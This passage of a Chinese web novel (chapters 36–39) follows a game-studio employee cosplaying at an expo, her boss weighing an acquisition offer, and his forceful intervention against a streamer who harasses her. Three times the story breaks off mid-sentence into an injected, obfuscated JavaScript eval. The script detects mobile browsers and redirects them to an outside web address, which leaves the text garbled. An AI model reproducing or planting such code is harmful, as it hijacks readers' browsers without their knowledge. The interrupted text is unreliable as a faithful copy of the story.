是放电,是引诱,是疯狂外溢的魅力。 两道带电的眼神隔空对峙,空气中立刻迸发出滋滋的电流和火花。 “很好,再坚持一下,他马上就被你彻底征服了。” 36. 第 36 章 妆娘的话给了她无限的遐想和勇气,与池修白对视,她竟没有不战而退、缴械投降。 她的视线坦荡荡与他交织,两道含情凝睇的目光碰撞、缠绵、共舞。 “好了,眼神可以收回来了。” 田妙妙依照指令,在即将转动眼球之时,突然灵机一动,冲池修白眨了下眼,送出一个意想不到的wink。 而后才将眼神收回,看向镜头。 心跳扑通扑通,她完全没想到自己有一天,竟然会对着这种高不可攀、俊美非凡的男人放电,太爽了,她已经不在乎输赢,勇气就是对自我最好的赞颂和表彰。 “哇塞,临场发挥不错嘛,我都被撩到了。”妆娘捧场赞道。 池修白心头一颤,她狡黠的wink就像一块巨石猛地砸向平静的湖泊,瞬间溅起翻飞的水花。 一向畏首畏尾的女孩,突然间落落大方、魅力四射,毫不吝啬地展示她的诱惑和美好,这种反差感极具吸引力,就像一株野草绽放出比花中魁首牡丹还耀眼夺目的光辉。 妆娘录好视频,一回头才发现化妆室多了个人。 她吓了一跳,猛地拍胸脯:“吓死我了,帅哥你谁啊?怎么跟鬼一样没声音。” 池修白先前没来过现场,妆娘自然不认识她,田妙妙赶在池修白开口前替他解释:“他是我们工作室的老板,也是《无限异变》的制作人,今天是游戏的第一次线下展会,也是第一次玩家测试,所以我们老板就来现场视察情况。” 妆娘吃惊地捂住嘴巴:“原来他就是池修白,好帅啊,我以前一直以为网上的照片都是假的呢,没想到真人更帅啊。” 面对诸如此类的震惊和赞美,池修白早已见怪不怪,他淡笑着朝妆娘点了下头。 妆娘激动得不行,冷静下来后才问:“你来找妙妙的吗?” “嗯。”池修白看向田妙妙。 田妙妙忙跟妆娘说:“老板有事找我,我先过去了。” “去吧去吧。” 田妙妙走到池修白身旁,两人正欲一起开门离开,俊男美女、严谨肃穆的黑西装和鲜亮跳脱的cos服,凑在一起看格外有视觉冲击感。 妆娘没忍住感慨了句:“好配啊。” 听到这话,田妙妙忍不住朝池修白看去,正对上池修白投递过来的目光。 短暂对视后,两人不约而同地移开视线。 仿佛刚才的默契并不存在,刚才的话也都没听到。 自己真的和他相配吗?田妙妙听到这句话难免窃喜,但更多的还是自知之明。 出了化妆室,两人并排走着,田妙妙问:“老板,你找我什么事?” 池修白并没有事要交代,他来化妆室纯属鬼使神差,就是想成为第一个看到田妙妙cos全套造型的人。 池修白侧目打量田妙妙,经过刚才录制视频素材,田妙妙伪装出来的自信并没有完全散去,她仍是舒展的,抬头挺胸的,走路也带上角色的范。 这段时间她跟进彩排,pv宣传片也看了无数遍,对角色的把握比谁都清楚,神态,动作,气质全都在线,蛮有职业coser的水平。 池修白突然说:“没有没兴趣转行当coser,说不定比当策划适合你。” 田妙妙无语地看向他:“老板,你都答应要给我提前转正了,怎么还不死心让我放弃问天啊?我誓死要与问天、与你共进退。” 这番豪言壮语让池修白会心一笑,“行,记好你的宣言。” 田妙妙诚恳地点头:“到底有什么事呀?我马上要过去了,还有一个简单的小彩排。” “没什么,之前怕你紧张,就来看看。”池修白看着她,她在笑,眼睛微弯,亮闪闪的,“现在看来,是我多虑了,连我都不怕,还敢抛媚眼,更别提和其他人了。” 田妙妙忍俊不禁:“是啊,征服了珠穆朗玛峰,其他小山坡不足为惧。” “嘴挺甜啊。”池修白很喜欢当前状态的田妙妙,不拘谨,很放松,相处起来感觉很舒服,让人更加想靠近。 “实话实说而已。”田妙妙再次朝他眨眨眼,这次是调皮的成分更多。 “忽然有点不太想让你上台互动了。”池修白忽然说。 这份怡人的美好应该被他私藏,想到她要和别人互动拍照,心里升腾起异样的不爽的情绪,或许是占有欲作祟。 这个认知令池修白有一瞬间失神,他向来最主张恋爱关系中的平等和自由,从未限制过对方的工作和生活,哪怕得知姜星背着他接触新的对象,他也没有特别大的情绪波动。 可在田妙妙身上,他诡异地产生想把她私藏起来,不想让她抛头露面的想法。 甚至有点埋怨裴文山出的馊主意。真是怪哉。 听到他的话,田妙妙一愣,不知此话何意,她不敢托大是池修白吃醋了,以为他在怀疑她的能力,便拍胸口保证道:“你放心,我肯定不会拖后腿,反正一起上台的还有其他五个嘉宾,我可以偷偷学他们怎么互动。” 大庭广众,仅仅是最简单的互动,顶多握握手,一起合个影,应当不至于有危险。 池修白暂且按下隐秘的担忧,以及郁闷别扭的情绪,叮嘱道:“别和观众挨太近,保护好自己。” 田妙妙低头看了一下服装,虽然修身,但并不是充满性暗示的风格,这个角色气质是女神挂的,给人不可亵渎之感,应当不至于有观众会乱来。 “放心,我会的。” 两人走到《无限异变》的展台前,此时玩家还未进场,台前聚集的都是员工和请来的外部人员。 顾念瑶看见田妙妙后,震惊到眼睛都瞪大了,“我靠,太好看了,组长刚才跟我说你要cos白晴,我还不相信,没想到真换上了,太美了吧妙妙。” 田妙妙被夸得快要飘起来了,“没办法,临时救场,只能硬着头皮上了,反正妆面厚,也没几个人能认出来。” “NoNoNo,我一眼就看出来了,你就是你。可能我是美术生,对五官,骨骼,肌肉走向比较敏感吧。”顾念瑶说,“特别美,以后陪我一起去漫展出cos哦。” 田妙妙点头,以后的事以后再说,谁能说得准呢。 顾念瑶冲她使了个眼色,小声说:“你瞧陈驰之眼都要看直了,估计要被你迷死了。” 田妙妙不受控制的朝她示意的方向看去,果不其然,看见神情呆滞,眼睛仿佛长在她身上的陈驰之。 她冲他笑了笑。 陈驰之恍惚间回神,胸腔剧烈起伏,像是受到了震撼人心的灵魂洗礼。 池修白的角度恰好能看见田妙妙朝陈驰之笑的表情。 那笑容恬淡自然,好似初春时冰封的溪流融化开,又好似雨过天晴后的一抹彩虹。 “别耽误时间了,该干嘛干嘛。”池修白出声打断那两人的眉目传情。 众人活跃起来,各司其职地去往自己负责的区域,陈驰之去检查试玩的电脑设备,田妙妙在展台前和其他几个嘉宾交流走位。 池修白这才舒心,找个位置坐下,时不时看向田妙妙,观察她一举一动,一颦一笑。 等她的视线偶尔飘过来,池修白才低头,看向手机。 手机上是《逐鹿天下》海外版发行商发过来的数据报告。 目前海外版上线一周,中东和北美区域下载数据特别亮眼,北美游戏市场规模大,中东玩家氪金上限高,游戏本地化做得特别到位,游戏背景改成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“凌霄科技财力雄厚,想必多的是趋之若鹜的人,问天一个小小工作室就不高攀了。”池修白话中谦卑,面容却不卑不亢,凌霄科技的橄榄枝,是多少初创游戏公司梦寐以求的东西,他却置之度外。 “据我所知,池总以前在光希时,并不参与公司管理,想必志不在此,不知道现在是有什么疑虑吗?” “正因为以前不参与这些,只想着做游戏拿分红就够了,光希最终才沦为被收购的下场。” “凌霄科技会给你足够的话语权,新开设的游戏业务负责人的职位,待遇参照集团副总裁,不知道池总有没有想法?” 池修白仍是似笑非笑的:“钱赚够了,就不太想给人打工了。” “没事,这件事池总可以不用现在答复,再考虑考虑,如果想法有变的话,欢迎随时联系我。” 洪英达离开前又说了句:“池总上周出海的游戏表现亮眼,凌霄目前有两款海外应用的用户规模突破了十亿人,这是很好的宣传渠道,现如今国内游戏市场竞争已然白热化,出海是最好的选择,凌霄在出海的优势上是胜过云辰的。” 洪英达走后,池修白陷入片刻沉思,要说凌霄科技有什么吸引他的,的确是海外宣发这一块,要想超越云辰,唯有出海一条路,只靠国内市场几乎是不可能的。 然而问天被凌霄收购的话,就丧失了他想独立做游戏的初心。问天和光希不再有任何区别,都是隶属于互联网大厂的游戏工作室而已。 对于普通员工而言,收购与否并没有太大区别,在哪都是打工,但对于那些毅然决然陪他出走光希、创立问天的老人来说,这便是彻头彻尾的背叛,他池修白承受不起。 37. 第 37 章 池修白开始重新审视自己,自己究竟想做的是什么,他突然发现自己走到这一步,比起强烈的主观意愿驱动,更多的是命运的无形推手。 一开始入行,是室友邀请他合作做游戏,为了和父母叫板,他没考虑太多欣然接受,从小到大父母越不让他玩游戏,他就越要玩,给他铺好的科研道路,他偏偏要和他们对着干,就是不按照他们的期许来。 他年少时期的所作所为,贯穿始终的就是抗争。 他要做自己,而不是哥哥的替代品。 好在老天爷厚待他,他们做的第一款游戏就崭露头角,随之而来的金钱和名利带给他巨大的成就感和认同感。 看吧,就算他离经叛道,照样能取得成功。 他在游戏行业就这么坚持下来,或许也用不上坚持二字,他毫不费力地就做出了几个小爆款游戏,财富和声誉跟着水涨船高。 他理所当然地认为,这一切就是他想要的,就是他的目标和追求。 直到光希被收购,他才如梦初醒,原来一切并不是表象上的蒸蒸日上,在他注意不到的背面,人心各异,最终闹得个惨淡收场。 关停《修仙世界》,成立问天工作室,多少带着不服输的意气成分,仿佛命运在身后推着他前进。 他几乎没有停下来问过自己,这一切是否是他想做的? 他的初心是什么?他的理想是什么? 他怕一停下,巨大的虚无感就会侵袭他、吞噬他,他会看不清前进的方向。 他只知道,他一直以来的生命主题就是抗争,年幼时抗争父母,成年后抗争与他信念相悖之人。 他仿佛活在一个巨大的、残酷的斗兽场中,里面全是鲜血和厮杀,他时刻紧绷着心弦,要么咬死别人,要么被别人咬死。至于寻找更强大的猛兽做靠山,从未出现在他的选择范围中,或许孤独是他的一生的写照。 他突然理解,为什么他会对田妙妙带给他的放松的感觉这么迷恋了—— 他太累了,尽管他斗志昂扬。 不远处的田妙妙似乎听到他心底彷徨的声音,正朝他这边过来。 池修白紧绷的心弦有所松动,那冷硬似寒冰、尖锐似利箭的,极具对抗性和防御性的情绪,随着她的靠近渐渐缓和。 田妙妙凑近他,问道:“刚才那人是谁啊?” 池修白扬起一个微不可察的笑:“没什么,来谈合作,没谈拢。” “你刚才脸色有点差,是他给出的条件太苛刻了吗?” “其实还不错。”池修白迟疑观望,叹了口气,轻声说:“只是我不知道怎么选择。” 田妙妙不解,什么事能把他这个天才难住:“很难选吗?” “有点吧。”池修白说:“也可能是走到现在,心乱了。” “选你喜欢的,让你开心的那个选项。”田妙妙感慨说:“其实大家努力挣钱,也是为了有朝一日能选择自己喜欢的事。” “如果有一天,我不喜欢做游戏了呢?”池修白缓慢吐出,让他不愿细想的问题。 田妙妙一愣,他这是要放弃问天了吗?工作室难道这不是它的心血吗? “不喜欢就不做了呗,你可以突然喜欢上做别的,然后在一个全新领域里从头做起,哪怕做不出成绩,也没有什么大不了的,至少你勇敢尝试过,追求过。” 田妙妙长长地哀叹一声,继续说:“你都不知道像我们这种人,多么羡慕你们这些有选择权的人,可以毫无负担地尝试自己喜欢的事,哪怕失败也不过是回到原点。” “难道你没有选择权吗?”池修白问。 田妙妙无奈地耸耸肩膀:“选择入哪行,进入哪个公司,就已经是我们这些人最重大的选择机会了。我们必须依托着什么,才能实现自己的价值。如果行业一旦低迷,公司一旦倒闭,我们这些可怜虫就输大发了。” 池修白突然觉得自己肩上的担子变重了,太多人将选择权押注在问天的未来上,而他理应承接起他们小心翼翼又深思熟虑后做下的人生抉择,他只能背负着沉重的期望继续前行,不可有片刻的松懈和动摇。 你获得的越多,同样背负的也越多。 “问天工作室不会成为你选择的败笔。”池修白似是想通了,很多时候烦恼恰恰来源于有选择的机会,如果没有其他的选项,自然也不会出现想法的动摇。 有的时候不需要去强求初心和理想,每日脚下走过的路,就是你的初心所在,而路的的尽头,便是理想的归宿。 “对啊,问天会越来越好的,我也会跟着沾光,越来越好。”田妙妙朝他绽放出由内而外的笑容,她眼里满是对他的信任。 池修白被她的笑容感染,僵硬的面部肌肉放松下来,唇角随她勾起,温声许诺:“好,问天会越来越好,我们都会越来越好。” 田妙妙连连点头:“嗯嗯,这样才对嘛,要开心一点。刚才看你脸色那么难看,我还以为那个老头说了什么特别难听的话呢,你可千万别往心里去。” “哦?专门跑来安慰我的?”池修白笑容更明朗了,还带着点不怀好意。 “是啊,你作为工作室的大boss,你的情绪会影响手下很多人的。”田妙妙停顿了下,深深叹息,像认命了似的,说:“而且,我确实不想看到你不开心。” 或许喜欢一个人就是这样,明知道对方似山巅雪,空中月,自己高攀不上,可还是希望他能快乐地待在她触不可及的地方。 不想看到你不开心…… 这话宛如一道惊雷,风驰电掣般在池修白的五脏六腑中炸出巨大的回响。 就算知道她喜欢自己,他还是会被这种爱意的外泄而震动,只因,他同样对她心生爱恋。 他要反复地确认她对他的情谊,才敢松动心扉,让她闯进来,踏足他从不轻易对外开放的,戒备心极强的封闭领域中。 在某方面,他们很像,都是爱情领域的胆小鬼。 “你哄哄我,我就开心了。”池修白说,他自己都没发现,他的语气是多么的亲昵。 田妙妙有些犯难,哄人她并不擅长。她注视着他,眼里是百转千回、难诉诸口的情义,诚恳地开口:“老板,你今天真帅,穿西装特别有范,比明星和模特还帅。” 这倒是她真实的想法,池修白在工作室大多穿得比较休闲,这种西装暴徒的打扮很少,难得看一回,怎么都看不腻。 “嗯哼,我穿别的衣服就没范了?”明明受用得尾巴都要翘起来,还非要傲娇得来这么一句,简直像只巨型矜贵猫咪。 “你这么帅,穿什么都好看。”田妙妙狗腿子地吐露一句心里话。 该死的,都怪他长得好看,自己和心绪和大脑总是背离。 “那你多看看。”池修白嘴上说,心里想的是,最好以后只看我。 田妙妙笑起来:“那是自然,这个福利可不能错过。” 开场了,展馆正门处涌进来好多人。 田妙妙看向门口密密麻麻鱼贯而入的人群,又看了眼池修白,心里盘算着他社恐的事,担忧地问:“老板,等会人会非常多,你要不去休息室避避?” “不用。”池修白不假思索地否决:“早就克服了,不然我就居家办公了。” “好,那我先过去了。”田妙妙这才放心。 明明他才是工作多年的职场精英,哪还需要她瞎操心,田妙妙想,自己真是关心则乱。 本次参加游戏展的参展商,不乏一些大热门ip,《无限异变》公布参展的时间是最晚的,那时门票早已售罄,故而专门为了《无限异变》买票的人几乎没有。 奈何池修白的名气在游戏圈实在是百足之虫死而不僵,多的是人想来凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151895|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热闹的。 除了凑《无限异变》的热闹,还有就是凑池修白本人的热闹。毕竟他极少露面,除了几次去游戏颁奖典礼领奖外,网上几乎没有流出其他图片。 然而就那几张颁奖图,也足以在游戏圈掀起滔天巨浪,他那外形看着不像参加游戏节颁奖,更像是万众瞩目的明星出席电影节。 他究竟有没有图片上好看,也是广大玩家一直以来乐此不疲、争执不休的话题。 不多时,《无限异变》展台前聚集了一大堆人,排队领试玩券的玩家能绕展台三圈。 这人气,不比隔壁运营三年的稳定高流水手游差。 除此之外,还有不少人拿手机或者相机偷拍池修白。 田妙妙在一边看着有些揪心,池修白肯定很讨厌抛头露面被人围观,更别提偷拍了,可他为了新游,居然忍了下来,没有愤而离场,睁一只眼闭一只眼随他们拍去。 甚至有个胆大的,正在录视频的up主上前,让池修白对着视频打招呼,池修白居然很配合地对着镜头说了声hello。 那人似乎还想让池修白多说几句话,田妙妙心想,老虎不发威还真当病猫了,她三步并作两步走,上前制止:“不好意思,制作人不接受采访,如果您想试玩我们游戏,还请到那边排队。” 此up主在b站有几十万的粉丝,在游戏杂谈领域颇具影响力,自然而然脾气大,大到敢直接跟池修白搭话。 他刚想骂你谁啊这里有你说话的份吗,看见田妙妙一身上下的cos很精致漂亮,便毫不客气地怼着她脸录视频,态度极其冒犯地问:“哇偶美女,跟大家打声招呼吧,介绍一下你今天cos的谁?是无限异变里哪个角色啊?” 一般人面对这种粉丝量很大的up主,都想着尽量配合他,也能借助他的视频多一个宣传渠道。 可偏偏田妙妙此刻心情不佳,完全不想给这人好脸色。 不为别的,就是觉得这人没有礼貌,对池修白完全没有尊重的意思。 她冷着脸,不卑不亢道:“我不想拍,听不懂我刚才的话吗,这边不接受采访,请你去别的地方录视频。” “知道我一条视频推广费多少吗?”此人态度嚣张:“免费帮你们宣传,不领情罢了还敢甩脸子,我要曝光!” “免费宣传?”田妙妙冷笑,“怕是你蹭热度的概率更大吧。” 此男像被踩中尾巴的野猫,音调陡然拔高:“蹭热度?我需要蹭你们的热度?我可是被云辰邀请来的。” 这个说法并没有吓退田妙妙,她才不管什么云不云辰,在《无限异变》的展台处,池修白就不能平白无故被冒犯。 那人见田妙妙态度强硬,没有要道歉的意思,便更加胆大妄为,镜头贴得更近,快顶到她脸上了。 田妙妙怒视着他,丝毫不退。 此贱男的镜头不满足于她的脸,开始向下移。 田妙妙被他的卑劣无耻气得胸腔起伏,她不得已抬胳膊护住胸,想躲开他的镜头霸凌。 下一秒,此男的胳膊被一股突如其来的巨大力道钳制住,快准狠地向后反拧,他手里的pocket3一下子摔在地上。 那股力道强硬、蛮横、恐怖、无法挣脱。巨大的痛感让外强中干的宅男up主招架不住,一张嘴就是鬼哭狼嚎的哭叫。 池修白一手反拧他的胳膊,另一手抓住他的后颈,往一旁的长桌上压。 此男的头颅被狠狠压在桌面上动弹不得,他几乎是半跪着的,胳膊和后颈的痛感让他惊惧不已,丝毫不顾体面地求饶:“我错了!不录了,快放开我!” “我刚才是不是太给你脸了?”池修白声音低沉嘶哑,喉咙中压抑着浓浓的戾气,像野兽的嘶鸣。 他双目猩红,俊美的面容此刻阴森可怖,仿佛下一秒,就会毫不留情地捏爆那人的头颅。 38. 第 38 章 展台突发混乱,围观群众疯了一样涌来。 在调试设备的江弘深听到动静后,丢掉手中的事立马赶过来。 目睹池修白正失去理智,徒手暴力压制一个男人,江弘深心一惊,此时人满为患,不论什么事都会在网上发酵开,再加上池修白黑红的流量体质,谣言必然会传得沸沸扬扬,友商一定会借此事件做文章,通过抨击池修白来达到打压游戏的最终目的。 他赶紧上前拉池修白的胳膊,出言相劝:“老板冷静点,先松手,这边人多眼杂,闹大了不好收场。” 裴文山此时也赶了过来,江弘深跟他说:“你先去找保安过来疏散人群,这边有我。” 裴文山点点头,“行,你先劝着,我马上回来。” 池修白仍然死死按着那人的脑袋没松手,周身弥漫着冷冽刺骨的、触之即死的恐怖气息。 “还敢不敢录了?”他低声问。他的举止虽张狂暴戾,语气却平静沉稳,给人一种另类的压迫感。 那人叫喊着:“不敢了,不敢了,我错了!” 江弘深继续拍拍池修白的胳膊,示意他算了:“要不先放开他,让他起来道歉认个错。” 池修白闻言转头,看向田妙妙。 田妙妙脸色煞白,厚重的妆面也遮盖不住的血色尽失的苍白。 她被池修白突如其来的出手吓到了。 他这样矜贵的、高高在上的、看起来十指不沾阳春水的富家大少爷,竟然会为了她出手…… 且一出手就这般凌厉狠辣,完全不计较后果似的。 池修白收回目光,低头跟被他按住的那人说:“你去问问她,愿不愿意接受你的道歉。” 那人显然吓破了胆,惊慌失措地望向田妙妙,嘴里不住说:“我错了,我刚才镜头不该往下移的,求求你原谅我吧!” 池修白将选择权抛给了她,田妙妙这才从怔愣中回过神。 周围聚集太多举着手机的人,眼看事情越闹越大,田妙妙为顾及大局,只能选择隐忍,尽量让事件平息下来。 田妙妙点头,上前拉扯了下池修白的西装下摆,轻声道:“我没事,让他走吧。” 这时,池修白才松开钳制的双手,低呵了声:“快滚。” 那死宅up主重获自由后,捡起地上掉落的pocket3相机落荒而逃。 然而展台四周看热闹的人意犹未尽,始终没有要离开的意思。 为了维持现场秩序,只能让池修白先行离开,江弘深提议:“裴文山马上带人来疏散了,这边有我跟他在,还有田妙妙也在,能应付得过来,老板要不你先移步去休息室,等这边消停了再过来。” 池修白看着周围一圈密密麻麻的手机摄像头,突然产生头晕目眩、恶心反胃之感,对人群的厌恶和抵触情绪迅速反扑。 他的确不能在现场待着了。 池修白点头,“好,剩下的交给你们了。” 走前,他深深看了一眼田妙妙。田妙妙也同样注视他,目送着他转身离去,旁边围观的人意欲跟过去拍摄,被江弘深和田妙妙联手拦下了。 不多时,裴文山带着一队保安过来,将混乱的现场秩序平定下来。 待拥堵的人群散后,不明所以的同事们围了上来,欲言又止地看着田妙妙。 大伙都挺好奇刚才发生了什么,老板为何不顾形象,大庭广众之下就动手了。 田妙妙简短地向大家解释了刚才的事,把重点往自己身上揽,说是她和那人发生口角起了冲突,对方把镜头直接怼到她脸上,还故意往下录她的胸口,老板看不下去了才出手教训那人。 田妙妙隐去了那人冒犯老板,自己气不过上前替老板出头的事,一来想维护池修白在大家心里的高贵不容侵犯的形象,二来也不愿暴露出自己对池修白不可告人的小心思。 众人听完,纷纷表示老板威武,就应该狠狠打他一顿才对! 陈驰之面色焦急,心里翻江倒海,他没想到田妙妙遭遇了这种事,气得牙痒痒,可恨自己刚才不在她身边,没有替她出手教训那个傲慢猥琐的狂徒。 “你现在感觉怎么样?要不要去休息一下?”他关切地问。 刚经历了惊吓,田妙妙状态的确不好,但这场线下展会对她有重要的意义,她没法弃之不顾,她必须要坚持下来,况且今天她还肩负coser重任,更是不能离场。 “我没事,不用担心我,等会我还得上台呢。”田妙妙笑着说。 陈驰之神色担忧:“对不起,刚才我没看见,幸亏有白神在旁边,不然你就要受欺负了。” “别自责,这跟你没有关系。不过,那人好像是个很有影响力的up主,他还说他是云辰邀请来的,不知道会不会有什么麻烦。”田妙妙说不担心是假的。 一旁顾念瑶义愤填膺:“管他谁请来的,有多少粉丝,反正是他有错在先,大不了调监控出来。” 这倒提醒了裴文山,他立马道:“我先去监控室拷贝一份,防止对方倒打一耙。” “好,组长我跟你一块去。”顾念瑶表示,“气死我了,仗着自己有点bro粉丝捧着,就一点不尊重女性,我非要把他曝光,让他社死不可!” 田妙妙很感动,同事们没有因为对方的影响力,而埋怨她多事、不懂得忍耐,给工作室添麻烦之类的,而是同仇敌忾,一同谴责那个up主。她很感激遇到这么好的一群人。 风波一过,一切恢复正常,排队试玩的人依然很多,陈驰之只能回到试玩区,没法陪在田妙妙的身边。 田妙妙过去和其余嘉宾汇合,一同等着主持人的报幕。 妆娘要全程跟妆,故而还没离去,她悄悄凑近田妙妙,问了句:“池修白是不是喜欢你啊?” 田妙妙心头一紧,心跳陡然加快,似被戳中了心事:“为什么这么说啊?” 妆娘道:“你化妆的时候,他专门跑过来看,我给其他人化妆,可从来没见过他的身影,本来我还只是有点怀疑,现在听说他替你出手打人,一下子就确定了。” “他没打人,就是制止了那人而已。”田妙妙替池修白说话,防止别人觉得他有暴力倾向。 “哎呀,反正都一样啦。”妆娘继续说:“他要是不喜欢你,哪怕要替你出头,也就是口头喝止对方,或者找保安过来把人赶走,哪用得着亲自出手呢,现在这个社会谁先动手谁理亏,要是对方报警一准被讹上,一般人绝对不会轻易动手的,尤其他还是个有身份的老板。所以,他肯定是喜欢你,才冲动行事的。不过我看到别人发的视频了,他擒住那个人的时候可真man啊,特别有主人的气质,如果是我老板的话,我肯定动心了。” 田妙妙自然早已芳心大乱,但她敏锐地捕捉到关键信息,忙问:“网上有人发视频了?” “有啊,你搜游戏节的tag,里面有人带话题发刚才的视频。” 田妙妙赶紧去看,一看不要紧,居然好几个不同机位的视频,热门的几条视频都有大几万的浏览量了。 她点开评论区。 -【我靠,这人不是池修白吗,好jer帅,被他按住的那个人看着有点眼熟啊,有人认识吗?】 -【是个二游测评up主,天天引战拉踩带节奏,把社区弄得乌烟瘴气,我早看他不爽了,活该被打。】 -【看来是他没夸你尽孝的游戏,你替你主子气不过了。】 -【哎呦捧臭脚的孝子来了,看见你主子被打得哭爹喊娘,恨不得以身替之吧。】 -【旁边那妹子谁啊?新人coser吗,看着好面生啊,感觉条件不赖,将来能火。】 -【在现场的亲友跟我说,池修白就是为了那个白晴coser出手的,该不会是她女朋友吧?】 -【楼上别瞎说,白神单身谢谢,那女生好像是他工作室的员工,白神是替自家员工出头的,妥妥的护犊子呢。】 -【呵呵,池修白的梦女还是这么多,我记得他以前在光希的时候就和别人动手过,当初一块创业的好兄弟就是忍不了他才分家的,这人妥妥就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156855|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一暴力狂,指不定哪天进去了。】 -【没有证据的事不要瞎说好吗,他在光希时只关注游戏,结果被“好兄弟”联手背刺了,明明他才是受害者[/哭]】 -【白孝子又见缝插针地卖惨[/抠鼻]】 …… 评论区并没有一边倒的情况,七嘴八舌的说法鱼龙混杂,甚至有几个人还从视频中截了她的图片,到处扒她是谁。 田妙妙有些胆寒,头一次觉得网络世界的恐怖之处,没有一点隐私可言。 “视频会不会发酵开啊?”田妙妙有些后怕。 视频只录了池修白压制对方的那段,并没有前因后果,很容易被有心人士带节奏,抹黑池修白。 她现在什么也做不了,如果跳出来解释的话,很容易被卷入这场是非中,把这件小事越推越火。 一筹莫展的田妙妙无奈点了个举报。 接下来,就是coser上台和抽中互动券的幸运玩家进行一分钟左右的互动。 由于刚才的突发情况,不少吃瓜乐子人都对她这个当事人特好奇,见她上台后,纷纷举着超长焦镜头拍她。 田妙妙全程表现得落落大方,态度友善亲和,表情管理也很到位,脸上始终挂着得体浅笑,面皮都要笑僵了,唯恐被好事者拍到什么丑镜头在网上大肆传播。 上午的嘉宾互动结束后,田妙妙终于能喘口气,简直比她下地干一天农活还累。 回到化妆室,妆娘一边帮她卸妆,一边说:“宝宝,你现在有点小火了,你的直拍视频比同台那几个知名coser点赞还高,等我回去把变装视频剪好发出来,说不定能蹭你的热度小爆一条。” 听她这么说,田妙妙立马掏出手机,刷游戏节的话题讨论。 果不其然,看见几条她的互动视频。 数据还不错,有一条甚至万赞了。 她心惊肉跳地点开评论区。 -【原来池修白出手就是为了她啊……】 -【白孝女哭去吧,你们哥哥喜欢这样的。】 -【身材比例很好啊,比XX那个拉腿的高P战神强多了。】 -【她真是问天的员工?】 -【办公室恋情啊,池修白还能专心做游戏吗?别到时候端出一坨屎上来。】 -【赶紧公测吧,就算是屎我也得尝尝咸淡!】 …… 评论区还算和谐,并没有看到对她口诛笔伐的评论,田妙妙松了一口气。 可是她并不想出名啊,她只想安安静静地工作、生活,积累工作经验,掌握更多工作技能,然后升职加薪,等哪天攒够首付,就在S市城郊地段买一个小房子,正式扎根下来。 这就是她当前的心愿。 田妙妙收到了一条私信,点开一看,是之前的举报反馈,视频竟被删除。 没想到举报这么有效率,田妙妙打算去举报其他的,结果返回找的时候,发现池修白暴力压制男up主的视频居然都被删掉了,一点踪迹都没有! 看来是背后有人出手了。 卸完妆,田妙妙换回工作人员统一制服,脸上重归素净,没了cos妆遮面,她竟有些不适应,翻出个口罩戴上。短短半天,害得她都产生偶像包袱,田妙妙下定决心,以后好好钻研化妆技术,争取达到妆娘的手艺。不管怎么说,化妆确实能提升她的自信心。 田妙妙和妆娘一起去取工作室订购的午餐盒饭,正巧遇见顾念瑶。 顾念瑶一脸愤懑:“妙妙,我跟组长去调监控的时候,发现场馆里头的摄像头密度不足,你们当时所处的位置,恰好被展台背景屏挡住了,没有录到到,被那个恶心的up主逃过一劫。” 田妙妙心里咯噔一下,但想到池修白暴力训狗的视频已经被删除了,便道:“没关系,这事就算了吧,反正他也吃到苦头了。” 顾念瑶:“好吧,就是没法在网上锤他,让他全网社死了。” 田妙妙环顾一圈,没看见池修白的身影:“老板之后来过吗?” 39. 第 39 章 不同于田妙妙对池修白的密切关注,顾念瑶完全没把老板放心上,随口回道:“不知道哎,应该没来过吧,我上午一直在收集试玩反馈,哪有功夫注意boss的行踪。” “反馈怎么样啊?”田妙妙来了精神,迫不及待地追问。 顾念瑶满脸得意:“反馈蛮好的,好多玩家试玩结束后都意犹未尽、赖着不走,具体反馈内容调查问卷上面有,我这边主要收集的是和美术相关的反馈,选非常满意选项的超过一半哦。” 听到这个反馈,田妙妙心情美妙,很想把这个好消息汇报给池修白,与他一同高兴高兴。 “听你这么说,我就放心了,看来《无限异变》还挺让人上头的。” “那是当然,白boss做游戏的信条之一就是:游戏无聊是死罪。所以《无限异变》当前就算有再多的不足,在好不好玩这件事上,还是没悬念的。” 顾念瑶继续说:“剩下的,应该就是继续优化,打磨细节,以及再多堆点料。” 然而,田妙妙还没来得及高兴多久,便听见不远处一位边吃饭边刷手机的男同事,突然情绪激动地大叫一声“卧槽”。 田妙妙和顾念瑶停下吃饭的动作,齐齐望去。 喊出声人的是程序组同事赵铭。 “怎么了啊?”顾念瑶开口问。 “太无耻了!太无耻了!”赵铭气得手里的筷子啪地拍桌子上,嘴里喷出饭粒子,“光希工作室刚刚发新游pv了,跟《无限异变》和玩法和画风太踏马像了!摆明了是想跟我们打擂台啊!” 田妙妙和顾念瑶对视一眼,两人达成一致,吃饭暂停,先看手机。 田妙妙登上b站,连搜索都用不着,首页直接推送了光希的新游pv。 短短半小时,播放量就突破五十万,一看没少花推广费。 视频封面是一张二次元风格的都市场景图,上面是游戏名称《诡秘降临》。 